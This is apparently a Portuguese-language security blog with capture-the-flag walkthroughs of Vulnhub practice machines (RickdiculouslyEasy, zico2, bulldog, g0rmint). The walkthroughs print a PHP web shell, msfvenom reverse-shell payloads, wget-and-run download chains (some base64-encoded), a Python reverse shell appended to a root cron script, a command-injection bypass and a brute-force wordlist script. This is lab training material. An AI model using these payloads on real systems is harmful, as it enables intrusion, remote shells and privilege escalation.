Jarbas 1.0

jarbas-mordomo-corpoIf you want to keep your hacking studies, please try out this machine!

I’m trying to publish it at Vulnhub. =)

Jarbas 1.0 – A tribute to a nostalgic Brazilian search engine in the end of 90’s.

Objective: Get root shell!

Download

Anúncios

Buffer Overflow – Ricardo Longatto

buffer overflowColetando materiais para meus estudos de buffer overflow me deparei com este vídeo relativamente antigo (porém atemporal) do Ricardo Longatto. Pra quem está iniciando contato com pesquisa vale a pena pra ver um passo-a-passo prático de um exemplo relativamente simples para depois aprofundar em exemplos mais complexos.

 

 

RickdiculouslyEasy: 1 – Vulnhub

rick-and-morty-wallpaper

Segue mais um walkthrough de exploração de sistema vulnerável disponível no Vulnhub.

Sistema disponível para download em:
Link: https://www.vulnhub.com/entry/rickdiculouslyeasy-1,207/

De fato, a exploração desta máquina não exige um nível de conhecimento muito avançado, porém achei ela extremamente trabalhosa pra obter todas as flags disponíveis, pois além de muita enumeração, é necessário utilizar uma variada quantidade de técnicas para conseguir explorar de completa.

Esta máquina possui 9 flags, totalizando 130 pontos.

#

Image [1]Image [10]

Image [11]

Image [12]

Image [7]

Image [8]

Image [2]

Image [3]

Image [13]

Image [9]

Image [14]

Image [4]

kkkk!

Image [5]

Image [6]

Tentei de tudo para estabelecer conexões reversas, sem sucesso.
Com o os 3 usuários encontrados no arquivo /etc/passwd e uma senha, consegui me autenticar com o usuário Summer.

Image [15]

Image [16]

Image [17]

Image [18]

Image [21]

Image [19]

Não conseguia executar neste diretório, copiei o arquivo para minha home e pude executar.

Image [20]

Então usei como argumento o número “131333” que julguei ser importante para algo a frente, e conseguimos obter mais informações…

Image [23]

Realizando uma busca (apesar de fã da série não me lembrava deste detalhe), encontrei a informação que precisava, a antiga banda de Rick Sanchez se chamava “The Flesh Curtains”.

Image [22]

Portanto a senha seria: [A-Z]+[0-9]+[Flesh ou Curtains].
Assim termos que criar uma wordlist. Para isso poderíamos utilizar um software chamado crunch ou simplesmente criar um simples programa em shell script como o abaixo.
#!/bin/bash

for letra in {A..Z} ; do
        for numero in {0..9}; do
                echo $letra$numero"Flesh"
                echo $letra$numero"Curtains"
        done
done
Em seguida utilizaremos essa wordlist e fazer um ataque de brute force no usuário RickySanchez com o hydra.
Então..

Image [24]Image [25]

RickSanchez é sudoer da máquina, assim elevamos privilégio e capturamos a última flag.

Image [26]

🙂

 

zico2 – Vulnhub

zico_flamengo_2016[1]

Segue mais um passo a passo de exploração de uma máquina vulnerável do Vulnhub.

zico2 – https://www.vulnhub.com/entry/zico2-1,210/

Reconhecimento e scanning

netdiscover -r 192.168.0.0/24

Image

Image [2]

Image [3]

Image [4]Image [5]Image [6]

 Exploração de vulnerabilidades

Image [7]Image [8]
Sabendo que a aplicação estava utilizando uma senha padrão foi bem fácil explorar a vulnerabilidade e ganhar shell no servidor seguindo o passo a passo descrito no arquivo de exploit.
A aplicação será explorada inserido comandos php em no valor do campo string que criarmos.
Default password: admin

Image [9]

 Criamos um banco de dados chamado “banco.php”. O ponto php é importante.

Image [11]

 Criamos uma tabela simples apenas com um campo.

Image [12]

 Criamos um campo chamado “comando” do tipo texto e inserimos a seguinte linha de código em php, que nos ajudará a receber comandos em Base64 (Facilita pra evitar erros de comando).
<pre><?php echo shell_exec(base64_decode($_GET[cmd])); ?>

Image [10]

Após a criação do campo temos a confirmação do conteúdo com o nosso código em PHP.

Image [13]

Agora é necessário renomear o banco de dados, que será enviado para a pasta padrão do webserver.

Image [14]

Agora vamos converter nosso primeiro comando para base64 e enviar para o webserver.

Image [16]

Inserimos o comando “cat /etc/passwd” em base64 e pudemos visualizar todos os usuários do servidor.

Image [15]

Agora que conseguimos enviar comandos ao servidor, vamos criar o payload para que seja baixado no servidor e executado, assim receber um shell reverso e ganhar acesso ao servidor em linha de comando.
Iremos localizar um payload suficiente para recebermos a conexão por ncat.

Image [19]

Na busca vamos utilizar o payload abaixo, que é suficiente.

Image [18]

Criando o payload na pasta do Apache local para ser baixado no servidor atacado.
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.31 LPORT=1234 -f elf -o /var/www/html/shell.elf
Criando a sequencia de comando para que o binário seja baixado, dado permissão de execução e executado.

Image [20]

Inserindo comandos no servidor.

Image [22]

Recebendo conexão por ncat.

Image [21]

Visualizando versão do kernel.
Image [23]
Neste ponto tentei buscar pelos exploits existentes para elevação de privilégios no servidor e me tornar root, mas no ambiente shell limitado que me encontrava não conseguia compilar nenhum dos exploits existentes. Assim continuei enumerado para encontrar novas informações que pudessem me ajudar.
Pudemos ver que a pasta do usuário zico é possível ser acessada.
Image [26]
Listagem dos arquivos no diretório /home/zico
Image [27]
Olhando os arquivos existentes encontramos um arquivo de configuração do wordpress, que possuia informações de usuario do MySQL, que puderam ser reaproveitadas para acessar o servidor por SSH com o usuário zico.
cat /home/zico/wordpress/wp-config.php

Image [24]

Credenciais:
zico/sWfCsfJSPV9H3AmQzw8

Image [25]

Após ganhar acesso, tentei novamente compilar os exploits existentes para a verão do kernel, mas nenhum funcionou.
Image [31]
Abrindo mais o leque, procurando por exploits para Linux Kernel x86_64, encontramos um possível exploit que se encaixa com o que precisamos.

Image [30]

Conseguimos compilar perfeitamente.
$ gcc 26131.c -o 26131
$ chmod +x 26131
Pronto! Ganhamos permissão de root no servidor!

Image [28]

Image [29]

bulldog – Vulnhub

Englishbulldog.PNGSegue mais um passo a passo de exploração de máquina vulnerável disponível no Vulnhub.

Link: https://www.vulnhub.com/entry/bulldog-1,211/

 

 

 

Reconhecimento

Primeira análise na máquina virtual:

Este slideshow necessita de JavaScript.

Scanning

Executado nmap, nikto e dirb nas portas http, retornando os resultados abaixo.

sc1sc2sc3sc4sc5

Exploração de falhas

Ao analisar página por página encontrada no bruteforce do dirb, foi encontrado a seguinte página, que ao analisar seu código fonte, encontramos informações interessantes…

Image1

..hashes de possíveis credenciais em md5.Image2

Sendo que duas puderam já possuiam registros de quebra, assim pudemos autenticar na área logada.Image3Image4

Encontramos uma página onde se diz uma área “mega segura” que era possível executar comandos específicos de shell, cujo retorno apareceria na página. Executei o comando cat /etc/passwd, visualizando todos os usuários criados no servidor.Image5

Mas como pode ver abaixo na descrição da páginas, apenas os comandos ifconfig, ls, echo, pwd, cat e rm podiam ser executados. Assim tentei colocar um “;” pra tentar executar um segundo comando em seguida, mas a aplicação me bloqueou.Image6

Ao analisar o código fonte da aplicação, podemos ver os comandos controlados e a string que ele verifica para não permitir a execução de comandos subsequentes.Image7

Então neste caso foi possível utilizar outro macete, ao invés de utilizar “;”, utilizo “&&” para executar outro comando. Assim como pode ver abaixo posso executar qualquer comando após o primeiro.Image8

Sabendo disso, iremos criar um executável com payload de shell reverso para linux para ser baixado e executado na máquina vulnerável. Estamos criando este executado dentro do diretório padrão do Apache.

 # msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=192.168.0.31 LPORT=1234 -f elf -o /var/www/html/revshell.elf

E então iniciamos o apache em nossa maquina de trabalho para que o servidor atacado baixe nosso executável.

# service apache2 start

Já com o executável para download, foi necessário apenas enganar a aplicação enviando um comando de echo e logo depois executando uma série de comandos:

  1. wget http://192.168.0.31/revshell.elf: Baixa o executável
  2. chmod +x revshell.elf: Concede permissão de execução ao binário
  3. ./revshell: Executa o binário enviando uma requisição se sessão ao nosso computador que já terá uma sessão de espera escutando na porta 1234.

Image9

Agora iniciamos o meterpreter para receber a sessão com o payload escolhido.

Pronto! Temos a conexão reversa!

Image10

Para pegar um shell mais bonitinho, por ter python neste servidor, executo o seguinte comando:
python3 -c 'import pty; pty.spawn("/bin/bash")'

Image11

Escalonamento de privilégios

Após análise pelo script LinEnum foi possível encontrar tarefas agendadas interessantes.
A cron abaixo é executada como root, o script executado possui permissão para editarmos, então adicionamos uma linha de python ao script para executar um shell reverso ao nosso IP.
Esta tarefa agendada é executada a cada minutos, assim rapidamente podemos ver o resultado da exploração.

Image12

Para facilitar apenas executamos o comando echo com o conteudo do script em python para dentro do arquivo AVApplication.py

 echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.31",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >> AVApplication.py

Image13

Pronto! Finalizamos esta exploração elevando privilégios.

Como pode ver no texto acima há mais uma forma de explorar esta maquina vulnerável, mas vou parar por aqui! 😉

“g0rmint” – Vulnhub

Segue mais um passo a passo de exploração da máquina “g0rmint”, disponível no Vulhub.

Link: https://www.vulnhub.com/entry/g0rmint-1,214

1

Nada aqui…

234

Achamos o diretorio no robots.txt

5

6

Ao olhar o código fonte encontramos uma ótima pista para começar a encontrar novas informações.

7

Ao escanear o diretório com o dirb, encontramos um arquivo php.info.

8910

11

No arquivo css/style.css é possível obter a informação de qual email poderia estar sendo utilizado para administrar o sistema.

O testar no formulário de existe foi possível inferir que o usuário de fato existia.

12

Ao analisar o arquivo reset.php, é possível observar que a nova senha definida é baseada na data, hora, e dia de reset.14

13

Então criamos este arquivo php separado com o mesmo codigo fonte do arquivo original apenas para gerar a nova senha.15

Temos a senha!

16

Logamos!17

Anteriormente, analisando outros arquivos, me deparo com o arquivo config.php. Lá possui configurações de geração de log. Estranhamente o log é gerado em formato .php. Não há qualquer sanitização, portanto é totalmente possível injetar comandos php via algum formulário.

25.png

18

Injetei no campo de email a seguinte linha em PHP que recebe comandos em formato Base64:

Geramos o comando “cat /etc/passwd” em Base64

19

Enviamos o comando para a parâmetro “cmd”:

20

A partir de agora fica simples ganhar shell no servidor.

Geramos um payload de shell reverso com msfvenom direcionando a conexão para meu computador:

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.111.169 lport=4444 -f elf > /var/www/html/tshell.elf

A seguir vamos converter diversos comandos para Base64 afim de serem interpretados pelo servidor:

root@kali:~# echo "wget http://192.168.111.169/tshell.elf -P /tmp" |base64
d2dldCBodHRwOi8vMTkyLjE2OC4xMTEuMTY5L3RzaGVsbC5lbGYgLVAgL3RtcAo=

root@kali:~# echo "chmod +x /tmp/tshell.elf" | base64
Y2htb2QgK3ggL3RtcC90c2hlbGwuZWxmCg==

root@kali:~# echo "/tmp/tshell.elf" | base64
L3RtcC90c2hlbGwuZWxmCg==

Agora é necessário enviar os comandos na sequência acima para que o servidor baixe o payload, dê permissão de execução e execute-o.

Abaixo segue preparação do Metasploit para receber a conexão.

21

Navegando por diretórios superiores, foi possivel encontrar um arquivo backup.zip em /var/www.

mkdir /tmp/tiago

unzip backup.zip -d /tmp/tiago

cd /tmp/tiago

cat /db.sql

E pudemos encontrar uma nova senha em MD5

22

Revertendo este hash pudemos obter mais uma senha23

Com esta credencial foi possível se autenticar como g0rmint, e podendo elevar privilegio por permissão de sudoer.

24